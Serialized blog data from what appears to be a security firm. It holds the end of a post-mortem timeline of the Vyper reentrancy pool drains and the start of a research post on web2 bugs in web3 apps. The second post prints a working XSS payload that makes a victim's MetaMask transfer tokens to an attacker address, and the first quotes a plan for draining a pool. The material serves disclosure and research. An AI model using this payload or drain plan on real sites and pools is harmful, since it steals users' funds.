$11M",{"type":26,"value":61},{"type":20,"tag":29,"props":28904,"children":28905},{},[28906,28911],{"type":20,"tag":3717,"props":28907,"children":28908},{},[28909],{"type":26,"value":28910},"13:19 UTC",{"type":26,"value":28912}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":20,"tag":29,"props":28914,"children":28915},{},[28916],{"type":26,"value":28917},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":20,"tag":1312,"props":28919,"children":28920},{},[28921],{"type":20,"tag":29,"props":28922,"children":28923},{},[28924],{"type":26,"value":28925},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":20,"tag":29,"props":28927,"children":28928},{},[28929,28934],{"type":20,"tag":3717,"props":28930,"children":28931},{},[28932],{"type":26,"value":28933},"14:01 UTC",{"type":26,"value":28935}," A warroom was formed around this comment.",{"type":20,"tag":29,"props":28937,"children":28938},{},[28939,28944,28946,28953],{"type":20,"tag":3717,"props":28940,"children":28941},{},[28942],{"type":26,"value":28943},"14:07 UTC",{"type":26,"value":28945}," We decompiled the JPEGd contract ",{"type":20,"tag":35,"props":28947,"children":28950},{"href":28948,"rel":28949},"https://ethervm.io/decompile",[39],[28951],{"type":26,"value":28952},"with our favorite decompiler",{"type":26,"value":28954}," and noted a difference in reentrancy guard storage slot.",{"type":20,"tag":305,"props":28956,"children":28960},{"className":28957,"code":28958,"language":28959,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n if (storage[0x00]) { revert(memory[0x00:0x00]); }\n storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n if (storage[0x02]) { revert(memory[0x00:0x00]); }\n storage[0x02] = 0x01;\n","yul",[28961],{"type":20,"tag":119,"props":28962,"children":28963},{"__ignoreMap":7},[28964,28972,28980,28988,28996,29003,29011,29019,29027],{"type":20,"tag":315,"props":28965,"children":28966},{"class":317,"line":318},[28967],{"type":20,"tag":315,"props":28968,"children":28969},{},[28970],{"type":26,"value":28971},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":20,"tag":315,"props":28973,"children":28974},{"class":317,"line":356},[28975],{"type":20,"tag":315,"props":28976,"children":28977},{},[28978],{"type":26,"value":28979},"label_0057:\n",{"type":20,"tag":315,"props":28981,"children":28982},{"class":317,"line":365},[28983],{"type":20,"tag":315,"props":28984,"children":28985},{},[28986],{"type":26,"value":28987}," if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":20,"tag":315,"props":28989,"children":28990},{"class":317,"line":374},[28991],{"type":20,"tag":315,"props":28992,"children":28993},{},[28994],{"type":26,"value":28995}," storage[0x00] = 0x01;\n",{"type":20,"tag":315,"props":28997,"children":28998},{"class":317,"line":383},[28999],{"type":20,"tag":315,"props":29000,"children":29001},{"emptyLinePlaceholder":15},[29002],{"type":26,"value":427},{"type":20,"tag":315,"props":29004,"children":29005},{"class":317,"line":407},[29006],{"type":20,"tag":315,"props":29007,"children":29008},{},[29009],{"type":26,"value":29010},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":20,"tag":315,"props":29012,"children":29013},{"class":317,"line":421},[29014],{"type":20,"tag":315,"props":29015,"children":29016},{},[29017],{"type":26,"value":29018},"label_1AF3:\n",{"type":20,"tag":315,"props":29020,"children":29021},{"class":317,"line":430},[29022],{"type":20,"tag":315,"props":29023,"children":29024},{},[29025],{"type":26,"value":29026}," if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":20,"tag":315,"props":29028,"children":29029},{"class":317,"line":453},[29030],{"type":20,"tag":315,"props":29031,"children":29032},{},[29033],{"type":26,"value":29034}," storage[0x02] = 0x01;\n",{"type":20,"tag":29,"props":29036,"children":29037},{},[29038,29043],{"type":20,"tag":3717,"props":29039,"children":29040},{},[29041],{"type":26,"value":29042},"14:27 UTC",{"type":26,"value":29044}," We confirmed this behavior with a simple local test contract.",{"type":20,"tag":305,"props":29046,"children":29048},{"className":17865,"code":29047,"language":17864,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n return False\n",[29049],{"type":20,"tag":119,"props":29050,"children":29051},{"__ignoreMap":7},[29052,29060,29081,29116,29128,29135,29142,29161,29193],{"type":20,"tag":315,"props":29053,"children":29054},{"class":317,"line":318},[29055],{"type":20,"tag":315,"props":29056,"children":29057},{"style":345},[29058],{"type":26,"value":29059},"@external\n",{"type":20,"tag":315,"props":29061,"children":29062},{"class":317,"line":356},[29063,29068,29072,29077],{"type":20,"tag":315,"props":29064,"children":29065},{"style":345},[29066],{"type":26,"value":29067},"@nonreentrant",{"type":20,"tag":315,"props":29069,"children":29070},{"style":328},[29071],{"type":26,"value":1049},{"type":20,"tag":315,"props":29073,"children":29074},{"style":2652},[29075],{"type":26,"value":29076},"\"lock\"",{"type":20,"tag":315,"props":29078,"children":29079},{"style":328},[29080],{"type":26,"value":380},{"type":20,"tag":315,"props":29082,"children":29083},{"class":317,"line":365},[29084,29089,29094,29098,29103,29108,29112],{"type":20,"tag":315,"props":29085,"children":29086},{"style":541},[29087],{"type":26,"value":29088},"def",{"type":20,"tag":315,"props":29090,"children":29091},{"style":345},[29092],{"type":26,"value":29093}," test",{"type":20,"tag":315,"props":29095,"children":29096},{"style":328},[29097],{"type":26,"value":1049},{"type":20,"tag":315,"props":29099,"children":29100},{"style":635},[29101],{"type":26,"value":29102},"addr",{"type":20,"tag":315,"props":29104,"children":29105},{"style":328},[29106],{"type":26,"value":29107},": address) -> ",{"type":20,"tag":315,"props":29109,"children":29110},{"style":322},[29111],{"type":26,"value":436},{"type":20,"tag":315,"props":29113,"children":29114},{"style":328},[29115],{"type":26,"value":3961},{"type":20,"tag":315,"props":29117,"children":29118},{"class":317,"line":374},[29119,29123],{"type":20,"tag":315,"props":29120,"children":29121},{"style":525},[29122],{"type":26,"value":731},{"type":20,"tag":315,"props":29124,"children":29125},{"style":541},[29126],{"type":26,"value":29127}," True\n",{"type":20,"tag":315,"props":29129,"children":29130},{"class":317,"line":383},[29131],{"type":20,"tag":315,"props":29132,"children":29133},{"emptyLinePlaceholder":15},[29134],{"type":26,"value":427},{"type":20,"tag":315,"props":29136,"children":29137},{"class":317,"line":407},[29138],{"type":20,"tag":315,"props":29139,"children":29140},{"style":345},[29141],{"type":26,"value":29059},{"type":20,"tag":315,"props":29143,"children":29144},{"class":317,"line":421},[29145,29149,29153,29157],{"type":20,"tag":315,"props":29146,"children":29147},{"style":345},[29148],{"type":26,"value":29067},{"type":20,"tag":315,"props":29150,"children":29151},{"style":328},[29152],{"type":26,"value":1049},{"type":20,"tag":315,"props":29154,"children":29155},{"style":2652},[29156],{"type":26,"value":29076},{"type":20,"tag":315,"props":29158,"children":29159},{"style":328},[29160],{"type":26,"value":380},{"type":20,"tag":315,"props":29162,"children":29163},{"class":317,"line":430},[29164,29168,29173,29177,29181,29185,29189],{"type":20,"tag":315,"props":29165,"children":29166},{"style":541},[29167],{"type":26,"value":29088},{"type":20,"tag":315,"props":29169,"children":29170},{"style":345},[29171],{"type":26,"value":29172}," test2",{"type":20,"tag":315,"props":29174,"children":29175},{"style":328},[29176],{"type":26,"value":1049},{"type":20,"tag":315,"props":29178,"children":29179},{"style":635},[29180],{"type":26,"value":29102},{"type":20,"tag":315,"props":29182,"children":29183},{"style":328},[29184],{"type":26,"value":29107},{"type":20,"tag":315,"props":29186,"children":29187},{"style":322},[29188],{"type":26,"value":436},{"type":20,"tag":315,"props":29190,"children":29191},{"style":328},[29192],{"type":26,"value":3961},{"type":20,"tag":315,"props":29194,"children":29195},{"class":317,"line":453},[29196,29200],{"type":20,"tag":315,"props":29197,"children":29198},{"style":525},[29199],{"type":26,"value":731},{"type":20,"tag":315,"props":29201,"children":29202},{"style":541},[29203],{"type":26,"value":29204}," False\n",{"type":20,"tag":29,"props":29206,"children":29207},{},[29208],{"type":26,"value":29209},"This was not just another reentrancy bug.",{"type":20,"tag":29,"props":29211,"children":29212},{},[29213],{"type":26,"value":29214},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":20,"tag":29,"props":29216,"children":29217},{},[29218,29223],{"type":20,"tag":3717,"props":29219,"children":29220},{},[29221],{"type":26,"value":29222},"14:37 UTC",{"type":26,"value":29224}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":20,"tag":29,"props":29226,"children":29227},{},[29228],{"type":20,"tag":2308,"props":29229,"children":29231},{"alt":7,"src":29230},"/posts/vyper-timeline/sstore.png",[],{"type":20,"tag":29,"props":29233,"children":29234},{},[29235],{"type":26,"value":29236},"It was a race with the hackers.",{"type":20,"tag":29,"props":29238,"children":29239},{},[29240],{"type":26,"value":29241},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":20,"tag":1312,"props":29243,"children":29244},{},[29245],{"type":20,"tag":29,"props":29246,"children":29247},{},[29248,29250],{"type":26,"value":29249},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":20,"tag":35,"props":29251,"children":29254},{"href":29252,"rel":29253},"https://twitter.com/hexagate_/status/1685677801813217280",[39],[29255],{"type":26,"value":29252},{"type":20,"tag":29,"props":29257,"children":29258},{},[29259],{"type":26,"value":29260},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":20,"tag":29,"props":29262,"children":29263},{},[29264,29269,29270,29277],{"type":20,"tag":3717,"props":29265,"children":29266},{},[29267],{"type":26,"value":29268},"14:50 UTC",{"type":26,"value":4852},{"type":20,"tag":35,"props":29271,"children":29274},{"href":29272,"rel":29273},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[39],[29275],{"type":26,"value":29276},"msETH/ETH was drained",{"type":26,"value":61},{"type":20,"tag":29,"props":29279,"children":29280},{},[29281,29286,29287,29294],{"type":20,"tag":3717,"props":29282,"children":29283},{},[29284],{"type":26,"value":29285},"15:34 UTC",{"type":26,"value":4852},{"type":20,"tag":35,"props":29288,"children":29291},{"href":29289,"rel":29290},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[39],[29292],{"type":26,"value":29293},"alETH/ETH was drained",{"type":26,"value":61},{"type":20,"tag":29,"props":29296,"children":29297},{},[29298,29303,29305,29312],{"type":20,"tag":3717,"props":29299,"children":29300},{},[29301],{"type":26,"value":29302},"15:43 UTC",{"type":26,"value":29304}," We identified that ",{"type":20,"tag":35,"props":29306,"children":29309},{"href":29307,"rel":29308},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[39],[29310],{"type":26,"value":29311},"CRV/ETH was vulnerable",{"type":26,"value":29313},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":20,"tag":29,"props":29315,"children":29316},{},[29317,29322],{"type":20,"tag":3717,"props":29318,"children":29319},{},[29320],{"type":26,"value":29321},"16:11 UTC",{"type":26,"value":29323}," We began working on a whitehat exploit.",{"type":20,"tag":29,"props":29325,"children":29326},{},[29327,29329,29336],{"type":26,"value":29328},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":20,"tag":35,"props":29330,"children":29333},{"href":29331,"rel":29332},"https://twitter.com/vyperlang/status/1685692973051498497",[39],[29334],{"type":26,"value":29335},"public statement on affected versions",{"type":26,"value":61},{"type":20,"tag":29,"props":29338,"children":29339},{},[29340],{"type":26,"value":29341},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":20,"tag":29,"props":29343,"children":29344},{},[29345,29347,29354],{"type":26,"value":29346},"Five minutes later at 19:11 UTC, ",{"type":20,"tag":35,"props":29348,"children":29351},{"href":29349,"rel":29350},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[39],[29352],{"type":26,"value":29353},"somebody else stole the funds",{"type":26,"value":61},{"type":20,"tag":29,"props":29356,"children":29357},{},[29358],{"type":26,"value":29359},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":20,"tag":29,"props":29361,"children":29362},{},[29363],{"type":26,"value":29364},"Nevertheless, there was more ground to cover.",{"type":20,"tag":29,"props":29366,"children":29367},{},[29368,29373],{"type":20,"tag":3717,"props":29369,"children":29370},{},[29371],{"type":26,"value":29372},"21:26 UTC",{"type":26,"value":29374}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":20,"tag":1312,"props":29376,"children":29377},{},[29378],{"type":20,"tag":29,"props":29379,"children":29380},{},[29381,29383,29387,29389,29392,29394,29397,29399],{"type":26,"value":29382},"if you send like 30k crv to the crv/eth pool ",{"type":20,"tag":29384,"props":29385,"children":29386},"br",{},[],{"type":26,"value":29388},"\nyou can then update admin fee ",{"type":20,"tag":29384,"props":29390,"children":29391},{},[],{"type":26,"value":29393},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":20,"tag":29384,"props":29395,"children":29396},{},[],{"type":26,"value":29398},"\nso you can basically drain whole pool for few hundred K crv ",{"type":20,"tag":29384,"props":29400,"children":29401},{},[],{"type":20,"tag":29,"props":29403,"children":29404},{},[29405,29410],{"type":20,"tag":3717,"props":29406,"children":29407},{},[29408],{"type":26,"value":29409},"21:52 UTC",{"type":26,"value":29411}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":20,"tag":29,"props":29413,"children":29414},{},[29415,29417,29424,29426,29433,29441],{"type":26,"value":29416},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":20,"tag":35,"props":29418,"children":29421},{"href":29419,"rel":29420},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[39],[29422],{"type":26,"value":29423},"CRV admin fee bot",{"type":26,"value":29425}," had claimed fees and ",{"type":20,"tag":35,"props":29427,"children":29430},{"href":29428,"rel":29429},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[39],[29431],{"type":26,"value":29432},"the pool was drained",{"type":20,"tag":13875,"props":29434,"children":29435},{},[29436],{"type":20,"tag":35,"props":29437,"children":29439},{"href":28039,"ariaDescribedBy":29438,"dataFootnoteRef":7,"id":28041},[13882],[29440],{"type":26,"value":2406},{"type":26,"value":61},{"type":20,"tag":21,"props":29443,"children":29445},{"id":29444},"blame",[29446],{"type":26,"value":29447},"Blame",{"type":20,"tag":29,"props":29449,"children":29450},{},[29451,29455],{"type":20,"tag":55,"props":29452,"children":29453},{},[29454],{"type":26,"value":29447},{"type":26,"value":29456}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":20,"tag":219,"props":29458,"children":29460},{"id":29459},"races",[29461],{"type":26,"value":29462},"Races",{"type":20,"tag":29,"props":29464,"children":29465},{},[29466],{"type":26,"value":29467},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":20,"tag":29,"props":29469,"children":29470},{},[29471],{"type":26,"value":29472},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":20,"tag":29,"props":29474,"children":29475},{},[29476],{"type":26,"value":29477},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":20,"tag":219,"props":29479,"children":29481},{"id":29480},"information-leakage",[29482],{"type":26,"value":29483},"Information Leakage",{"type":20,"tag":29,"props":29485,"children":29486},{},[29487],{"type":26,"value":29488},"I was both an auditor and a whitehat.",{"type":20,"tag":29,"props":29490,"children":29491},{},[29492,29494,29501],{"type":26,"value":29493},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":20,"tag":35,"props":29495,"children":29498},{"href":29496,"rel":29497},"https://twitter.com/osec_io/status/1579969927020412929",[39],[29499],{"type":26,"value":29500},"by publishing the \"scoop\"",{"type":26,"value":29502}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":20,"tag":29,"props":29504,"children":29505},{},[29506],{"type":26,"value":29507},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":20,"tag":29,"props":29509,"children":29510},{},[29511],{"type":26,"value":29512},"Half an hour more could have saved $18M.",{"type":20,"tag":29,"props":29514,"children":29515},{},[29516],{"type":26,"value":29517},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":20,"tag":21,"props":29519,"children":29521},{"id":29520},"next-steps",[29522],{"type":26,"value":29523},"Next Steps",{"type":20,"tag":29,"props":29525,"children":29526},{},[29527],{"type":26,"value":29528},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":20,"tag":29,"props":29530,"children":29531},{},[29532,29534,29541],{"type":26,"value":29533},"It's important to note that this bug ",{"type":20,"tag":35,"props":29535,"children":29538},{"href":29536,"rel":29537},"https://twitter.com/real_philogy/status/1685948253139857409",[39],[29539],{"type":26,"value":29540},"was patched since November 2021",{"type":26,"value":61},{"type":20,"tag":1312,"props":29543,"children":29544},{},[29545],{"type":20,"tag":29,"props":29546,"children":29547},{},[29548,29550,29555,29556,29559,29561,29566],{"type":26,"value":29549},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":20,"tag":55,"props":29551,"children":29552},{},[29553],{"type":26,"value":29554},"processes",{"type":26,"value":16935},{"type":20,"tag":29384,"props":29557,"children":29558},{},[],{"type":26,"value":29560},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":20,"tag":55,"props":29562,"children":29563},{},[29564],{"type":26,"value":29565},"was",{"type":26,"value":29567}," fixed.",{"type":20,"tag":29,"props":29569,"children":29570},{},[29571],{"type":26,"value":29572},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":20,"tag":16825,"props":29574,"children":29576},{"className":29575,"dataFootnotes":7},[16828],[29577,29582],{"type":20,"tag":21,"props":29578,"children":29580},{"className":29579,"id":13882},[16833],[29581],{"type":26,"value":16836},{"type":20,"tag":68,"props":29583,"children":29584},{},[29585],{"type":20,"tag":72,"props":29586,"children":29587},{"id":28781},[29588,29590],{"type":26,"value":29589},"Thankfully, these funds were later returned. ",{"type":20,"tag":35,"props":29591,"children":29593},{"href":28809,"ariaLabel":16939,"className":29592,"dataFootnoteBackref":7},[16941],[29594],{"type":26,"value":16944},{"type":20,"tag":1226,"props":29596,"children":29597},{},[29598],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":29600},[29601,29602,29606,29607],{"id":28876,"depth":356,"text":28879},{"id":29444,"depth":356,"text":29447,"children":29603},[29604,29605],{"id":29459,"depth":365,"text":29462},{"id":29480,"depth":365,"text":29483},{"id":29520,"depth":356,"text":29523},{"id":13882,"depth":356,"text":16836},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":29612,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":29613,"description":29614,"author":29615,"image":29618,"date":29620,"isFeatured":15,"tags":29621,"onBlogPage":15,"body":29624,"_type":1242,"_id":33834,"_source":1244,"_file":33835,"_stem":33836,"_extension":1247},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[29616,29617],"caue","bruno",{"src":29619,"height":12024,"width":12024},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[29622,29623],"nft-marketplaces","xss",{"type":17,"children":29625,"toc":33817},[29626,29630,29635,29639,29644,29649,29654,29670,29676,29689,29711,29718,29723,29730,29735,29741,29746,29751,29756,29761,29772,29777,30745,30755,30767,30774,30779,31599,31604,31609,31614,31619,32403,32408,32490,32495,32564,32570,32575,32580,32807,32820,32825,32830,32835,32842,32847,32854,32860,32865,32870,32875,33194,33199,33205,33221,33227,33232,33237,33247,33252,33257,33266,33271,33277,33293,33306,33311,33316,33336,33343,33348,33355,33364,33369,33390,33443,33448,33499,33513,33518,33532,33647,33670,33754,33777,33782,33787,33792,33797,33802,33808,33813],{"type":20,"tag":21,"props":29627,"children":29628},{"id":23},[29629],{"type":26,"value":27},{"type":20,"tag":29,"props":29631,"children":29632},{},[29633],{"type":26,"value":29634},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":20,"tag":219,"props":29636,"children":29637},{"id":1297},[29638],{"type":26,"value":1300},{"type":20,"tag":29,"props":29640,"children":29641},{},[29642],{"type":26,"value":29643},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":20,"tag":29,"props":29645,"children":29646},{},[29647],{"type":26,"value":29648},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":20,"tag":21,"props":29650,"children":29651},{"id":29623},[29652],{"type":26,"value":29653},"XSS",{"type":20,"tag":29,"props":29655,"children":29656},{},[29657],{"type":20,"tag":55,"props":29658,"children":29659},{},[29660,29662,29669],{"type":26,"value":29661},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":20,"tag":35,"props":29663,"children":29666},{"href":29664,"rel":29665},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[39],[29667],{"type":26,"value":29668},"even explain it to myself",{"type":26,"value":61},{"type":20,"tag":219,"props":29671,"children":29673},{"id":29672},"managing-metadata",[29674],{"type":26,"value":29675},"Managing Metadata",{"type":20,"tag":29,"props":29677,"children":29678},{},[29679,29681,29688],{"type":26,"value":29680},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":20,"tag":35,"props":29682,"children":29685},{"href":29683,"rel":29684},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[39],[29686],{"type":26,"value":29687},"payloads",{"type":26,"value":61},{"type":20,"tag":29,"props":29690,"children":29691},{},[29692,29694,29701,29703,29709],{"type":26,"value":29693},"We showcase this vulnerability in the ",{"type":20,"tag":35,"props":29695,"children":29698},{"href":29696,"rel":29697},"https://rocki.com/",[39],[29699],{"type":26,"value":29700},"Rocki Marketplace",{"type":26,"value":29702},". The ",{"type":20,"tag":119,"props":29704,"children":29706},{"className":29705},[],[29707],{"type":26,"value":29708},"artistDescription",{"type":26,"value":29710}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":20,"tag":29,"props":29712,"children":29713},{},[29714],{"type":20,"tag":2308,"props":29715,"children":29717},{"alt":7,"src":29716},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":20,"tag":29,"props":29719,"children":29720},{},[29721],{"type":26,"value":29722},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":20,"tag":29,"props":29724,"children":29725},{},[29726],{"type":20,"tag":2308,"props":29727,"children":29729},{"alt":7,"src":29728},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":20,"tag":29,"props":29731,"children":29732},{},[29733],{"type":26,"value":29734},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":20,"tag":219,"props":29736,"children":29738},{"id":29737},"wheres-my-wallet",[29739],{"type":26,"value":29740},"Where's My Wallet",{"type":20,"tag":29,"props":29742,"children":29743},{},[29744],{"type":26,"value":29745},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":20,"tag":29,"props":29747,"children":29748},{},[29749],{"type":26,"value":29750},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":20,"tag":29,"props":29752,"children":29753},{},[29754],{"type":26,"value":29755},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":20,"tag":29,"props":29757,"children":29758},{},[29759],{"type":26,"value":29760},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":20,"tag":29762,"props":29763,"children":29765},"div",{"style":29764},"display:flex; align-items:center; flex-direction:column;",[29766],{"type":20,"tag":2308,"props":29767,"children":29771},{"src":29768,"alt":29769,"style":29770},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":20,"tag":29,"props":29773,"children":29774},{},[29775],{"type":26,"value":29776},"And here we can find the code used to achieve it :",{"type":20,"tag":305,"props":29778,"children":29782},{"className":29779,"code":29780,"language":29781,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n if (typeof window.ethereum === 'undefined') {\n console.error('Please install MetaMask to use this feature.');\n } else {\n ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n const fromAddress = accounts[0];\n const attackerAddress = '0x0000000000000000000000000000000000000000';\n const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n let tokenAbi = [\n {\n constant: false,\n inputs: [\n {\n name: '_to',\n type: 'address',\n },\n {\n name: '_value',\n type: 'uint256',\n },\n ],\n name: 'transfer',\n outputs: [\n {\n name: '',\n type: 'bool',\n },\n ],\n type: 'function',\n },\n ];\n\n const web3 = new Web3(window.ethereum);\n\n const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n const transactionObject = {\n from: fromAddress,\n to: contractAddress,\n data: tokenContract.methods\n .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n .encodeABI(),\n };\n\n web3.eth.sendTransaction(transactionObject);\n });\n }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[29783],{"type":20,"tag":119,"props":29784,"children":29785},{"__ignoreMap":7},[29786,29802,29847,29876,29892,29955,29990,30015,30040,30047,30067,30075,30091,30103,30111,30128,30145,30153,30160,30176,30192,30199,30207,30224,30236,30243,30259,30275,30282,30289,30306,30313,30321,30328,30375,30382,30446,30453,30473,30489,30505,30526,30597,30613,30620,30627,30665,30673,30680,30687,30694,30715],{"type":20,"tag":315,"props":29787,"children":29788},{"class":317,"line":318},[29789,29793,29798],{"type":20,"tag":315,"props":29790,"children":29791},{"style":541},[29792],{"type":26,"value":615},{"type":20,"tag":315,"props":29794,"children":29795},{"style":345},[29796],{"type":26,"value":29797}," request",{"type":20,"tag":315,"props":29799,"children":29800},{"style":328},[29801],{"type":26,"value":14137},{"type":20,"tag":315,"props":29803,"children":29804},{"class":317,"line":356},[29805,29810,29814,29819,29824,29828,29833,29838,29843],{"type":20,"tag":315,"props":29806,"children":29807},{"style":525},[29808],{"type":26,"value":29809}," if",{"type":20,"tag":315,"props":29811,"children":29812},{"style":328},[29813],{"type":26,"value":463},{"type":20,"tag":315,"props":29815,"children":29816},{"style":541},[29817],{"type":26,"value":29818},"typeof",{"type":20,"tag":315,"props":29820,"children":29821},{"style":635},[29822],{"type":26,"value":29823}," window",{"type":20,"tag":315,"props":29825,"children":29826},{"style":328},[29827],{"type":26,"value":61},{"type":20,"tag":315,"props":29829,"children":29830},{"style":635},[29831],{"type":26,"value":29832},"ethereum",{"type":20,"tag":315,"props":29834,"children":29835},{"style":334},[29836],{"type":26,"value":29837}," ===",{"type":20,"tag":315,"props":29839,"children":29840},{"style":2652},[29841],{"type":26,"value":29842}," 'undefined'",{"type":20,"tag":315,"props":29844,"children":29845},{"style":328},[29846],{"type":26,"value":549},{"type":20,"tag":315,"props":29848,"children":29849},{"class":317,"line":365},[29850,29855,29859,29863,29867,29872],{"type":20,"tag":315,"props":29851,"children":29852},{"style":635},[29853],{"type":26,"value":29854}," console",{"type":20,"tag":315,"props":29856,"children":29857},{"style":328},[29858],{"type":26,"value":61},{"type":20,"tag":315,"props":29860,"children":29861},{"style":345},[29862],{"type":26,"value":13264},{"type":20,"tag":315,"props":29864,"children":29865},{"style":328},[29866],{"type":26,"value":1049},{"type":20,"tag":315,"props":29868,"children":29869},{"style":2652},[29870],{"type":26,"value":29871},"'Please install MetaMask to use this feature.'",{"type":20,"tag":315,"props":29873,"children":29874},{"style":328},[29875],{"type":26,"value":2214},{"type":20,"tag":315,"props":29877,"children":29878},{"class":317,"line":374},[29879,29884,29888],{"type":20,"tag":315,"props":29880,"children":29881},{"style":328},[29882],{"type":26,"value":29883}," } ",{"type":20,"tag":315,"props":29885,"children":29886},{"style":525},[29887],{"type":26,"value":1087},{"type":20,"tag":315,"props":29889,"children":29890},{"style":328},[29891],{"type":26,"value":1092},{"type":20,"tag":315,"props":29893,"children":29894},{"class":317,"line":383},[29895,29900,29904,29909,29914,29919,29924,29929,29934,29939,29943,29947,29951],{"type":20,"tag":315,"props":29896,"children":29897},{"style":635},[29898],{"type":26,"value":29899}," 